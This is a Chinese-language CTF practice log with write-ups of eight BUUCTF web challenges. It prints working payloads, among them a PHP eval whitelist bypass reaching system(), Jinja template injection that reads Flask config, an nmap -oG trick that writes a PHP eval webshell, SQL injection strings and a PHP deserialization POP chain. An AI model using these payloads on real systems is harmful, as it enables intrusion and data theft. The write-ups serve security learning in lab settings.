buu做题日志 web4

[ASIS 2019]Unicorn shop

进入环境是一个商店,尝试购买,提示只允许输入一个字符

图片

输入去掉小数点,买第一个说是错误的商品

那就尝试买第四个商品,但是又只能输入一个字符

wp说是去compart搜unicode大于1337的字符,代入url编码就可以了但是并没有直接给出原因,我去搜了下源码,关键部分大概在shop.py 里

图片

(焯,python不太好,只能慢慢审)

框起来的地方意思大概是把传入的price参数url解码之后utf-8,返回对应的数字类型的值

1
unicodedata.numeric(chr[, default])把一个表示数字的字符串转换为浮点数返回。比如可以把'8',"四'转换数值输出。与digit ()不一样的地方是它可以任意表示数值的字符都可以,不仅仅限于0到9的字符。如果不是合法字符,会抛出异常ValueError。

所以现在大概知道了为啥直接去搜大于1337的字符,然后随便找一个就行

[CISCN 2019 初赛]Love Math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('' . $blackitem . 'm', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    常用数学函数http:www.w3school.com.cnphpphp_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    帮你算出答案
    eval('echo '.$content.';');
}
?>

知识补充:
1.preg_match_all()函数

1
2
3
4
5
<?php
$userinfo = "Name: <b>PHP<b> <br> Title: <b>Programming Language<b>";
preg_match_all ("<b>(.*)<\b>U", $userinfo, $pat_array);
print_r($pat_array[0]);
?>

以第二个参数为匹配对象,第一个参数为正则表达式,然后将结果以数组的形式储存在第三个参数当中
2.m在正则表达式中的作用为:将模式视为多行,使用^和$表示任何一行都可以以正则表达式开始或结束

3.in_array():判断数组中是否存在指定的值

4.PHP base_convert() 函数:函数在任意进制之间转换数字:

1
2
3
4
5
把八进制数转换为十六进制数:
<?php
$oct = "364";
echo base_convert($oct,8,16);
?>

$blacklist黑名单过滤函数
$whitelist白名单限制函数

白名单中提到的几个函数:

base_convert() 函数:在任意进制之间转换数字。

dechex() 函数:把十进制转换为十六进制。

hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。

这三个函数的结合就可以实现任意字符的转换

1
2
3
4
5
6
7
?c=$_GET[a]($_GET[b])&a=system&b=cat flag
    
eval('echo'.$content.';');

eval('echo'.$_GET[a]($_GET[b])&a=system&b=cat flag.';');

eval('echo'.system(cat flag).';');

这里是利用了php的一些特性(字符串可以作为函数名
php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数比如下面的代码会执行 system(‘ls’);

1
2
$a='system';
$a('ls');

因为题目有长度限制,可以尝试构造$_GET[]然后在传入想用的payload,但是这里把中括号下划线禁用了,所以需要我们用编码绕过。
白名单里我们看到了一些可能帮助我们编码绕过的函数 base_convert ,dechex,第一个可以进行进制之间的转换,比如 base_convert(“1001”2,10)是将二进制的1001转换为10进制,第二个函数是将10进制转成16进制。

首先明确的是,我们的payload是这样的

1
system(cat flag)

然后要用GET传进去,所以要有_GET[],所以可以知道大致是这样的
?c=$_GETa&a=system&b=cat flag

中括号[]被禁用我们可以用花括号代替{},这里首先要构造$_GET,php里有可以将16进制转为字符串的函数hex2bin,要构造这个就要用base_convert函数,36进制也是base36中有字母数字正好可以满足(看了大佬wp)知道的。

由此可知,hex2bin=base_convert(37907361743,10,36),然后用另外一个函数dechex将_GET的10进制转为16进制,再通过hex2bin转换为字符串

构造完成

_GET=base_convert(37907361743,10,36)(dechex(1598506324));

再将上述的payload代入

1
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat flag

[WesternCTF2018]shrine

模板注入题,一来就给出了源码,整理下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('')
def index():
return open(__file__).read()

@app.route('shrine<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
app.run(debug=True)

可以看到注册了一个名为flag的config,暂且推测flag在名为flag的config中,但是后面黑名单过滤了config和self
有一个jinja,可以联想到是模板注入

图片

图片

存在模板注入,再看源码,可以知道我们提交的参数之中的()会被转换为空,同时将黑名单里的内容进行遍历,如果与黑名单的内容相同就转为none

图片

如果在没有黑名单过滤的情况下,可以用config或者self.dict进行查看

但是现在config,self,()被过滤不能直接通过这三样进行查看,那我们可以通过传入包含这三者的变量(个人理解为本质就是权限不够,转而使用权限更强的变量),所以可以考虑使用全局变量,看了WP,比如说是current_app,这其中有两个函数包含了current_app,url_for和get_flashed_messages

尝试url_for.globals

图片

尝试继续注入

{url_for.globals[‘current_app’].config}

图片

然后尝试用get_flashed_messages

图片

同样能行.

[De1CTF 2019]SSRF Me

PS:为啥全是Python了。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#! usrbinenv python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
 
app = Flask(__name__)
 
secert_key = os.urandom(16)
 
class Task:
    def __init__(self, action, param, sign, ip): #是一个简单的赋值函数
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)): #如果没有该文件夹,则创立一个文件夹
            os.mkdir(self.sandbox)
 
    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open(".%sresult.txt" % self.sandbox, 'w')   #注意w,可以对result.txt文件进行修改
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp) #这个将resp中的数据写入result.txt中,可以利用为将flag.txt中的数据放进result.txt中
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open(".%sresult.txt" % self.sandbox, 'r') #打开方式为只读
                result['code'] = 200
                result['data'] = f.read() #读取result.txt中的数据
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result
 
    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False
 
@app.route("geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
 
@app.route('De1ta',methods=['GET','POST']) #注意这个绑定,接下来的几个函数都很重要,这个相当于c语言里面的主函数,接下来是调用其他函数的过程
def challenge():
    action = urllib.unquote(request.cookies.get("action")) #cookie传递action参数,对应不同的处理方式
    param = urllib.unquote(request.args.get("param", "")) #传递get方式的参数param
    sign = urllib.unquote(request.cookies.get("sign")) #cookie传递sign参数sign
    ip = request.remote_addr #获取请求端的ip地址
    if(waf(param)): #调用waf函数进行过滤
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip) #创建Task类对象
    return json.dumps(task.Exec()) #以json的形式返回到客户端
 
@app.route('')
def index():
    return open("code.txt","r").read()
 
def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50] #这个可以利用为访问flag.txt。读取然后为下一步将flag.txt文件中的东西放到result.txt中做铺垫
    except:
        return "Connection Timeout"
 
def getSign(action, param): #getSign的作用是拼接secret_key,param,action,然后返回拼接后的字符串的md5加密值
    return hashlib.md5(secert_key + param + action).hexdigest()
 
def md5(content): #将传入的字符串进行md5加密
    return hashlib.md5(content).hexdigest()
 
def waf(param): #防火墙的作用是判断开头的几个字母是否是gopher 或者是file  如果是的话,返回true
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False
if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=9999)

代码审计,慢慢审还是可以的(毕竟python比java简单多了)
一个flask框架

有几个路由,但重要的就De1ta和geneSign

分别绑定了不同的函数

Task类:

这个类中有不同的参数action,对应不同的函数执行,但是需要注意到

1
2
if "scan" in self.action:
if "read" in self.action:

判断action中的值的时候,用的是in,而不是==,所以如果action中是scanread或者是reanscan的话,if语句同时满足,相应的代码都执行。
然后这道题用到了很多Python的文件操控,稍微弄了下

#因为是在windows系统下复现,所以文件路径和源码中有些不同,但是原理一样,都是将flag.txt中的文件放在result.txt中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#! usrbinenv python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
 
f = open("D:phpstudy_proWWWtestresult.txt",'w')     #注意切换为写的功能
resp = open("D:phpstudy_proWWWtestflag.txt").read()
f.write(resp)

首先明确的是,如果要得到flag,肯定有一个输出的位置,可以发现是return json.dumps(task.Exec())这里以json格式返回数据,然后数据的获得是从task类的exec方法中得到的,到这里面去看将传入的action和param和传入的sign进行checksign比较,如果相等就进行后面的操作,checksign里面调用了getsign函数,他的作用是拼接secret_key,param,action然后返回拼接后的字符串的md5加密值,通过第一处判断后,判断action的种类进行分别的操作,当action为scan时,会执行scan这个函数,作用是访问传入的参数,并返回前五十个字符,当action为read时,可以对访问的参数进行读取,到此大致有一个思路,整理下

1
首先绕过self.checkSign(),并且传入的action需要同时包含scan和read,然后if "scan" in self.action:执行将flag.txt中的数据写入result.txt中,继续if "read" in self.action:执行读取result.txt中的数据,并且放在 result['data'] 中 , return json.dumps(task.Exec())   接着返回以json的形式返回到客户端。

尝试构造payload:
首先要绕过self.checksign()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@app.route("geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
 
 
 
def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False
 
 
 
def getSign(action, param): #getSign的作用是拼接secret_key,param,action,然后返回拼接后的字符串的md5加密值
    return hashlib.md5(secert_key + param + action).hexdigest()

如果要满足self.checksign(),就是getsign(self.action,self.param)==self.sign(通过cookie传)
就需要hashlib.md5(secret_key+param+action).hexdigest()==self.sign,也就是hashlib.md5(secert_key + ‘flag.txt’ + ‘readscan’).hexdigest() == self.sign

所以我们要得到上述字符串的哈希值

1
2
3
4
5
@app.route("geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

但是我们不知道secret_key的值,因为在代码的最前面就定义是个伪随机数,只存在于服务端,但是可以通过上面的代码genesign来返回我们所需要的编码之后的哈希值,这里注意下,在genesign里已经把action定义为scan了,所以就直接传flag.txtread还是会拼接为flag.txtreadscan
好的先试下获取哈希值

图片

然后将flag.txt的数据读入result.txt,再读取result.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
  if "scan" in self.action:
                tmpfile = open(".%sresult.txt" % self.sandbox, 'w')   #注意w,可以对result.txt文件进行修改
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp) #这个将resp中的数据写入result.txt中,可以利用为将flag.txt中的数据放进result.txt中
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open(".%sresult.txt" % self.sandbox, 'r') #打开方式为只读
                result['code'] = 200
                result['data'] = f.read() #读取result.txt中的数据
            if result['code'] == 500:
                result['data'] = "Action Error"

不知道为啥先进De1ta是进不去的,直接爆500,把所有的参数都在Burp传进去,就有flag了
图片

[网鼎杯 2020 朱雀组]Nmap

打开后是网页版的nmap,随便输一个ip,很正常,尝试是不是命令执行

图片

很明显发生了转义,怀疑跟之前一道online的题目一样都用那两个转义符号的函数

1
2
3
escapeshellarg()函数给字符串添加单引号,而shell不会解释单引号中的特殊字符。如果字符串中已经有单引号了,那么该函数会分段处理这个字符串,对字符串中的单引号做转义,并以之分段,也就是这种形式’…’\”…’。也可以说,单引号是就近匹配的。这个函数应该用来过滤单个的shell函数的参数。

escapeshellcmd()函数对字符串中可能会欺骗shell命令执行任意命令的字符进行转义。此函数保证用户输入的数据在传escapeshellcmd()对字符串中可能会欺骗shell命令执行任意命令的字符进行转义。此函数保证用户输入的数据在传送到exec()或system()函数,或者执行操作符之前进行转义。

比如说传

1
2
3
4
5
127.0.0.1' -v -d a=1
escapeshellarg()函数处理后
'127.0.0.1'\'' -v -d a=1'
接着经过escapeshellcmd()函数处理后
'172.17.0.2'\\'' -v -d a=1\'

最后的结果是172.17.0.2\发送请求,post一个a=1’的数据
然后抓个包看看

首先index.php用了POST传参传过去一个host参数,然后本地又发起了一个GET请求,传了一个参数f=90131,通过修改此参数,发现PHP报错 simplexml_load_file(): IO warning : failed to load external entity “xml90132” in varwwwhtmlresult.php on line 23

simplexml_load_file() 函数是把 XML 文档载入对象中,所以初步猜想,应该是nmap将扫描的结果保存为了xml文档,然后PHP再打开该文档解析,后台命令可能为nmap -oX 127.0.0.1 .xml

这里把一些nmap文件的命令总结下

1
2
3
4
5
6
7
8
9
10
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-append-output 补充保存文件
-iL 读取文件内容,以文件内容作为搜索目标
-o 输出到文件
其中参数-oG可以实现将命令和结果写入文件,其格式为:内容 -oG 文件名称
nmap -iL ip_target.txt -o result.txt
扫描ip_target.txt内包含的ip地址,输出扫描结果至result.txt

所以我们可以直接采用onlinetools的payload进行
构造:

1
127.0.0.1 | <?php @eval($_POST[hack]);?> -oG shell.php

但是会被上述两个函数进行转义

1
'127.0.0.1 | \<\?php @eval\(\)\;\?\> -oG hack.php'

因为两端单引号闭合,所以一句话木马只是被当成了字符串处理,所以需要闭合所有的单引号,将一句话木马变成一条命令,尝试在Payload前后均加上'单引号:

1
'<?php @eval($_POST[hack]);?> -oG shell.php'

输入后显示hack,应该是做了过滤,后面发现是过滤了php
利用<?=来代替<?php进行绕过,利用phtml来代替shell.php的文件后缀

1
'<?=@eval($_POST[hack]);?> -oG hack.phtml'

post括号里不能有引号,否则会干扰
 这里之所以能替换:

是短标签 是长标签 在php的配置文件(php.ini)中有一个short_open_tag的值(开启on),开启以后可以使用PHP的短标签: 同时,只有开启这个才可以使用 <?= 以代替 <? echo 。,然后传进去,连蚁剑就行

[SWPU2019]Web1

进入环境注册账号然后登陆,然后有一个发布广告

随便尝试下输入下单引号’,能够发布,但点开详情存在报错说明有二次注入

图片

接着尝试下fuzz,发现information_schema以及空格等一些关键词被过滤了,空格被过滤的话可以用**来进行绕过。上述说的information_schema过滤其实是因为or被过滤了,导致不能使用information_schema和order by。另外也过滤了注释符,所以我们要把查询语句给闭合单引号,初始的查询语句不用闭合最后的单引号是因为注释语句把后面的给注释了。order by被过滤了可以用group by来进行查询字段数如group by 1,’2

先判断字段数

二分法判断,先填一个50

1
-1'**group**by**50,'2

发现大了,最后发现是22(也可以直接暴力试试)

1
-1'union**select**1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

图片

查看下数据库版本信息

1
-1'union**select**1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

图片

因为这里是Maria数据库的这个表可以查表名:mysql.innodb_table_stats,以及使用无列名注入

1
-1'**union**select**1,(select**group_concat(table_name)**from**mysql.innodb_table_stats**where**database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

图片

设第二列别名为b

1
-1'**union**select**1,(select**group_concat(b)**from**(select**1,2**as**b,3**union**select*****from**users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

图片

设第三列别名为b

1
-1'**union**select**1,(select**group_concat(b)**from**(select**1,2,3**as**b**union**select*****from**users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

图片

无列名注入,参考CTF|mysql之无列名注入.

正常查询

图片

1
select 1,2,3 union select * from user;

图片

这里看到我们的列名被1,2,3代替了。这也就是说,我们可以使用数字来代替列,如3代替了password

1
2
3
#注:3要加反引号,表明这是列的名字,而不是单纯的3,按照转义符来理解吧
#后面的a是别名,写啥都行
select `3` from (select 1,2,3 union select * from user)a;

bypass information_schema这篇文章中,是用sys.schema_auto_increment_columns 库来进行查询
导致网上很多wp都是这样写的。。

实际上本题无法使用,buuoj的平台没有 sys.schema_auto_increment_columns 这个库

而且一般要超级管理员才可以访问sys,所以一般用这个方法

图片

[MRCTF2020]PYWebsite

啊这,这道题感觉应该放在第一页而不是第二页。是我想复杂了

图片

F12里发现前端验证那个授权码,大致就是要我们的授权码经过md5后等于他所给我们的md5,然后跳转到flag.php。直接进去看下

图片

看到IP可以考虑用x-forwarded-for伪造ip127.0.0.1

图片

F12里就是

[MRCTF2020]Ezpop

Welcome to index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
Welcome to index.php
<?php
flag is in flag.php 提示:flag在flag.php文件内,猜测是当前网站根目录下的flag.php
WTF IS THIS?
Learn From https:ctf.ieki.xyzlibraryphp.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
And Crack It!

class Modifier { 类,Modifier
    protected  $var; 保护属性,$var
    public function append($value){ 自定义方法,append($value)
        include($value); 文件包含参数$value,猜测这里可以利用文件包含读取flag.php的内容
    }
    public function __invoke(){ __invoke()魔术方法:在类的对象被调用为函数时候,自动被调用
        $this->append($this->var); 把保护属性$var传入自定义方法append($value),执行一次
    }
}
很明显:
这里我们要想执行文件包含flag.php,那么就要调用append($value)方法
这里我们要想调用append($value)方法,那么就需要调用__invoke()魔术方法
这里我们要想调用__invoke(),那么就需要将Modifier类的对象调用为函数
这里,我们会发现$var属性的值传给了$value参数,所以要想包含flag.php的源码,就需要给$var传入php:filter....................[省略]

class Show{ 类,Show
    public $source;              公有属性,$source
    public $str; 公有属性,$str
    public function __construct($file='index.php'){ 公有构造方法,在类的对象实例化之前,自动被调用
        $this->source = $file; 给$this->source属性赋值$file
        echo 'Welcome to '.$this->source."<br>"; 打印字符串
    }
    public function __toString(){ __toString()魔术方法,在类的对象被当作字符串操作的时候,自动被调用
        return $this->str->source; 返回,str属性值的source属性
    }

    public function __wakeup(){ __wakeup()魔术方法,在类的对象反序列化的时候,自动被调用
        if(preg_match("gopher|http|file|ftp|https|dict|\.\.i", $this->source)) { 正则匹配source属性的值
            echo "hacker";
            $this->source = "index.php"; source属性赋值为index.php
        }
    }
}
很明显:
__toString()魔术方法,有以下特征“$this->str->source”
所以说,我们可以给str属性赋值为Test类的对象,那么由于该对象没有source属性,那么就会调用Test类的__get()魔术方法
那么想要调用__toString魔术方法,就需要Show类的对象被当作字符串操作
很明显,我们的__wakeup()魔术方法,里面有source属性被当作字符串去比较,所以我们可以给source属性赋值为Show属性的对象
所以只要,我们可以利用反序列化,调用__wake()魔术方法,且source赋值为该类的对象,str属性赋值为Test类的对象即可

class Test{ 类,Test
    public $p; 公有属性,$p
    public function __construct(){ 公有构造方法,在类的对象实例化之前,自动被调用
        $this->p = array(); 属性$p初始化为数组
    }

    public function __get($key){ __get()魔术方法,访问该类中不可访问的属性,自动被调用
        $function = $this->p; 属性$this->p赋值给$function
        return $function(); 把$function调用为$function()函数
    }
}
很明显:
这里的属性$p可以触发,__invoke()魔术方法,所以只要给$p赋值为Modifier类的对象即可



if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

看到unserialize很明显就是序列化题目,首先先找明显的漏洞点或者输出点吧。

1
2
3
 public function append($value){
        include($value);
    }

include很明显是文件包含漏洞,一个伪协议就能出,这个在append函数里,那我们去找能够调用append的地方

1
2
3
   public function __invoke(){
        $this->append($this->var);
    }

__invoke一个魔术方法,在把对象当成函数使用时就会先调用这个方法,这里调用了这个魔术方法就会调用append,那么又去找什么地方能把对方当成函数使用

1
2
3
4
   public function __get($key){
        $function = $this->p;
        return $function();
    }

Test类里的__get魔术方法,作用是当我们访问不可访问或者不存在的属性时,就会先调用这个魔术方法,在这里调用了__get魔术方法就会将$p这个Test类属性作为function的值,然后将function作为函数使用,正好满足我们的需求。
回到__get这里,因为我们要寻找不可访问或者不存在的属性,这里不可访问的属性只有唯一的protected的$var,但是我们正好就是要调用这个属性所在的类,所以暂时不考虑这个,尝试去访问不存在的属性。

1
2
3
 public function __toString(){
        return $this->str->source;
    }

在这里我们发现比较蹊跷的地方,一般来说举个例子

1
2
3
class Sample{
    public $test;
}

我们访问一个类的成员属性,是这样的

1
$this->test

但是这里是$this->str->source
难道是属性的属性?(个人理解是不存在,所以我们可以尝试将$this->str赋一个对象,可能理解出现偏差,还要多看看WP)

所以这里就出现了不存在的属性!可以通过__toString这个魔术方法进行__get的调用,而__toString的作用是对象被作为字符串时,进行调用。

然后又去找什么时候对象被作为字符串

1
2
3
4
5
6
 public function __wakeup(){
        if(preg_match("gopher|http|file|ftp|https|dict|\.\.i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }

__wakeup魔术方法是指当对象被反序列化时先运行。这里会做一个判断,对$this->source进行正则匹配,过滤上述一些协议,但是因为我们之前已经知道了是用php伪协议,根本无伤大雅。重点是这里对$this-source进行正则匹配就会对其进行类型转换,将其从对象转换为字符串,才能正常进行比较字符串,所以我们也找到了突破口。
上下理下思路,整理Pop链:

1
反序列化->调用Show类中魔术方法__wakeup->preg_match()函数对Show类的属性source处理->调用Show类中魔术方法__toString->返回Show类的属性str中的属性source(此时这里属性source并不存在)->调用Test类中魔术方法__get->返回Test类的属性p的函数调用结果->调用Modifier类中魔术方法__invoke->include()函数包含目标文件(flag.php)

根据想法构建pop链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
#删除了源码中不必要的部分
class Modifier {
    protected  $var="php:filterread=convert.base64-encoderesource=flag.php";
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$a = new Show();
$b= new Show();
$a->source=$b;
$b->str=new Test();
($b->str)->p=new Modifier();
echo urlencode(serialize($a)); #因为Modifier类中的属性var为protected,将序列化后结果进行URL编码后可省略考虑不可见字符直接复制而丢失#结果为O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D?>

然后get传,获得base64解码一下就是答案。

1
2
3
4
5
6
7
__wakeup()-->__toString()-->__get()-->__invoke

__invoke()魔术方法:在类的对象被调用为函数时候,自动被调用
__toString()魔术方法:在类的对象被当作字符串操作的时候,自动被调用
__wakeup()魔术方法,在类的对象反序列化的时候,自动被调用
__construct()构造方法:在类的对象实例化之前,自动被调用
__get()魔术方法:从不可访问的属性中读取数据会触发

参考博客:
https:www.cnblogs.comArticle-kelpp14657419.html